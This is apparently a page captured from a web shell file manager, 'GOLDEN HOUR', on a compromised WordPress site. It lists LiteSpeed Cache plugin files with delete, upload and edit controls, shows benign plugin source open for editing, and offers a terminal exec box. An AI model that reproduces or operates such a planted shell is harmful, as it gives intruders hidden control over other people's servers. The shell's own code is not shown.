GOLDEN HOUR
DIR: /home/reseprot/public_html/tokomesinjakarta.com/wp-content/plugins/litespeed-cache/src
UP
UPLOAD
Name
Size
Action
activation.cls.php
17.31 KB
DEL
admin-display.cls.php
48.47 KB
DEL
admin-settings.cls.php
11.12 KB
DEL
admin.cls.php
6.13 KB
DEL
api.cls.php
10.36 KB
DEL
avatar.cls.php
8.65 KB
DEL
base.cls.php
37.66 KB
DEL
[ cdn ]
-
DEL
cdn.cls.php
15.92 KB
DEL
cloud-auth-callback.trait.php
10.43 KB
DEL
cloud-auth-ip.trait.php
4.33 KB
DEL
cloud-auth.trait.php
9.38 KB
DEL
cloud-misc.trait.php
10.32 KB
DEL
cloud-node.trait.php
5.95 KB
DEL
cloud-request.trait.php
19.68 KB
DEL
cloud.cls.php
7.32 KB
DEL
conf.cls.php
19.53 KB
DEL
control.cls.php
24.35 KB
DEL
core.cls.php
20.97 KB
DEL
crawler-map.cls.php
19.41 KB
DEL
crawler.cls.php
44.72 KB
DEL
css.cls.php
17.77 KB
DEL
data.cls.php
22.21 KB
DEL
data.upgrade.func.php
5.72 KB
DEL
[ data_structure ]
-
DEL
db-optm.cls.php
15.35 KB
DEL
debug2.cls.php
18.4 KB
DEL
doc.cls.php
5.45 KB
DEL
error.cls.php
7.35 KB
DEL
esi.cls.php
27.18 KB
DEL
file.cls.php
10.57 KB
DEL
guest.cls.php
2.75 KB
DEL
gui.cls.php
36.57 KB
DEL
health.cls.php
2.83 KB
DEL
htaccess.cls.php
29.81 KB
DEL
img-optm-manage.trait.php
30.85 KB
DEL
img-optm-pull.trait.php
22.1 KB
DEL
img-optm-send.trait.php
21.9 KB
DEL
img-optm.cls.php
5.26 KB
DEL
import.cls.php
4.29 KB
DEL
import.preset.cls.php
5.5 KB
DEL
lang.cls.php
17.02 KB
DEL
localization.cls.php
4.03 KB
DEL
media.cls.php
44.08 KB
DEL
metabox.cls.php
5.29 KB
DEL
object-cache-wp.cls.php
18.82 KB
DEL
object-cache.cls.php
20.95 KB
DEL
object.lib.php
14.16 KB
DEL
optimize.cls.php
38.64 KB
DEL
optimizer.cls.php
10.5 KB
DEL
placeholder.cls.php
17.93 KB
DEL
purge.cls.php
34.41 KB
DEL
report.cls.php
6.12 KB
DEL
rest.cls.php
9.08 KB
DEL
root.cls.php
14.29 KB
DEL
router.cls.php
20.76 KB
DEL
str.cls.php
3.08 KB
DEL
tag.cls.php
9.26 KB
DEL
task.cls.php
7.05 KB
DEL
tool.cls.php
4.17 KB
DEL
ucss.cls.php
16.35 KB
DEL
utility.cls.php
26.01 KB
DEL
vary.cls.php
21.33 KB
DEL
vpi.cls.php
9.38 KB
DEL
Edit: cloud-node.trait.php
<?php /** * Cloud node detection trait * * @package LiteSpeed * @since 7.8 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Trait Cloud_Node * * Handles cloud node detection and management. */ trait Cloud_Node { /** * Clear all existing cloud nodes for future reconnect * * @since 3.0 * @access public */ public function clear_cloud() { foreach ( self::$services as $service ) { if ( isset( $this->_summary[ 'server.' . $service ] ) ) { unset( $this->_summary[ 'server.' . $service ] ); } if ( isset( $this->_summary[ 'server_date.' . $service ] ) ) { unset( $this->_summary[ 'server_date.' . $service ] ); } } self::save_summary(); self::debug( 'Cleared all local service node caches' ); } /** * Ping clouds to find the fastest node * * @since 3.0 * @access public * * @param string $service Service. * @param bool $force Force redetect. * @return string|false */ public function detect_cloud( $service, $force = false ) { if ( in_array( $service, self::$center_svc_set, true ) ) { return $this->_cloud_server; } if ( in_array( $service, self::$wp_svc_set, true ) ) { return $this->_cloud_server_wp; } // Check if the stored server needs to be refreshed if ( ! $force ) { if ( ! empty( $this->_summary[ 'server.' . $service ] ) && ! empty( $this->_summary[ 'server_date.' . $service ] ) && (int) $this->_summary[ 'server_date.' . $service ] > time() - 86400 * self::TTL_NODE ) { $server = $this->_summary[ 'server.' . $service ]; if ( false === strpos( $this->_cloud_server, 'preview.' ) && false === strpos( $server, 'preview.' ) ) { return $server; } if ( false !== strpos( $this->_cloud_server, 'preview.' ) && false !== strpos( $server, 'preview.' ) ) { return $server; } } } if ( ! $service || ! in_array( $service, self::$services, true ) ) { $msg = __( 'Cloud Error', 'litespeed-cache' ) . ': ' . $service; Admin_Display::error( $msg ); return false; } // Send request to Quic Online Service $json = $this->_post( self::SVC_D_NODES, [ 'svc' => $this->_maybe_queue( $service ) ] ); // Check if get list correctly if ( empty( $json['list'] ) || ! is_array( $json['list'] ) ) { self::debug( 'request cloud list failed: ', $json ); if ( $json ) { $msg = __( 'Cloud Error', 'litespeed-cache' ) . ": [Service] $service [Info] " . wp_json_encode( $json ); Admin_Display::error( $msg ); } return false; } // Ping closest cloud $valid_clouds = false; if ( ! empty( $json['list_preferred'] ) ) { $valid_clouds = $this->_get_closest_nodes( $json['list_preferred'], $service ); } if ( ! $valid_clouds ) { $valid_clouds = $this->_get_closest_nodes( $json['list'], $service ); } if ( ! $valid_clouds ) { return false; } // Check server load if ( in_array( $service, self::$services_load_check, true ) ) { // TODO $valid_cloud_loads = []; foreach ( $valid_clouds as $v ) { $response = wp_safe_remote_get( $v, [ 'timeout' => 5 ] ); if ( is_wp_error( $response ) ) { $error_message = $response->get_error_message(); self::debug( 'failed to do load checker: ' . $error_message ); continue; } $curr_load = \json_decode( $response['body'], true ); if ( ! empty( $curr_load['_res'] ) && 'ok' === $curr_load['_res'] && isset( $curr_load['load'] ) ) { $valid_cloud_loads[ $v ] = $curr_load['load']; } } if ( ! $valid_cloud_loads ) { $msg = __( 'Cloud Error', 'litespeed-cache' ) . ": [Service] $service [Info] " . __( 'No available Cloud Node after checked server load.', 'litespeed-cache' ); Admin_Display::error( $msg ); return false; } self::debug( 'Closest nodes list after load check', $valid_cloud_loads ); $qualified_list = array_keys( $valid_cloud_loads, min( $valid_cloud_loads ), true ); } else { $qualified_list = $valid_clouds; } $closest = $qualified_list[ array_rand( $qualified_list ) ]; self::debug( 'Chose node: ' . $closest ); // store data into option locally $this->_summary[ 'server.' . $service ] = $closest; $this->_summary[ 'server_date.' . $service ] = time(); self::save_summary(); return $this->_summary[ 'server.' . $service ]; } /** * Ping to choose the closest nodes * * @since 7.0 * * @param array $nodes_list Node list. * @param string $service Service. * @return array|false */ private function _get_closest_nodes( $nodes_list, $service ) { $speed_list = []; foreach ( $nodes_list as $v ) { // Exclude possible failed 503 nodes if ( ! empty( $this->_summary['disabled_node'] ) && ! empty( $this->_summary['disabled_node'][ $v ] ) && time() - (int) $this->_summary['disabled_node'][ $v ] < 86400 ) { continue; } $speed_list[ $v ] = Utility::ping( $v ); } if ( ! $speed_list ) { self::debug( 'nodes are in 503 failed nodes' ); return false; } $min = min( $speed_list ); if ( 99999 === (int) $min ) { self::debug( 'failed to ping all clouds' ); return false; } // Random pick same time range ip (230ms 250ms) $range_len = strlen( $min ); $range_num = substr( $min, 0, 1 ); $valid_clouds = []; foreach ( $speed_list as $node => $speed ) { if ( strlen( $speed ) === $range_len && substr( $speed, 0, 1 ) === $range_num ) { $valid_clouds[] = $node; } elseif ( $speed < $min * 4 ) { // Append the lower speed ones $valid_clouds[] = $node; } } if ( ! $valid_clouds ) { $msg = __( 'Cloud Error', 'litespeed-cache' ) . ": [Service] $service [Info] " . __( 'No available Cloud Node.', 'litespeed-cache' ); Admin_Display::error( $msg ); return false; } self::debug( 'Closest nodes list', $valid_clouds ); return $valid_clouds; } /** * May need to convert to queue service * * @param string $service Service. * @return string */ private function _maybe_queue( $service ) { if ( in_array( $service, self::$_queue_svc_set, true ) ) { return self::SVC_QUEUE; } return $service; } }
SAVE FILE
TERMINAL
EXEC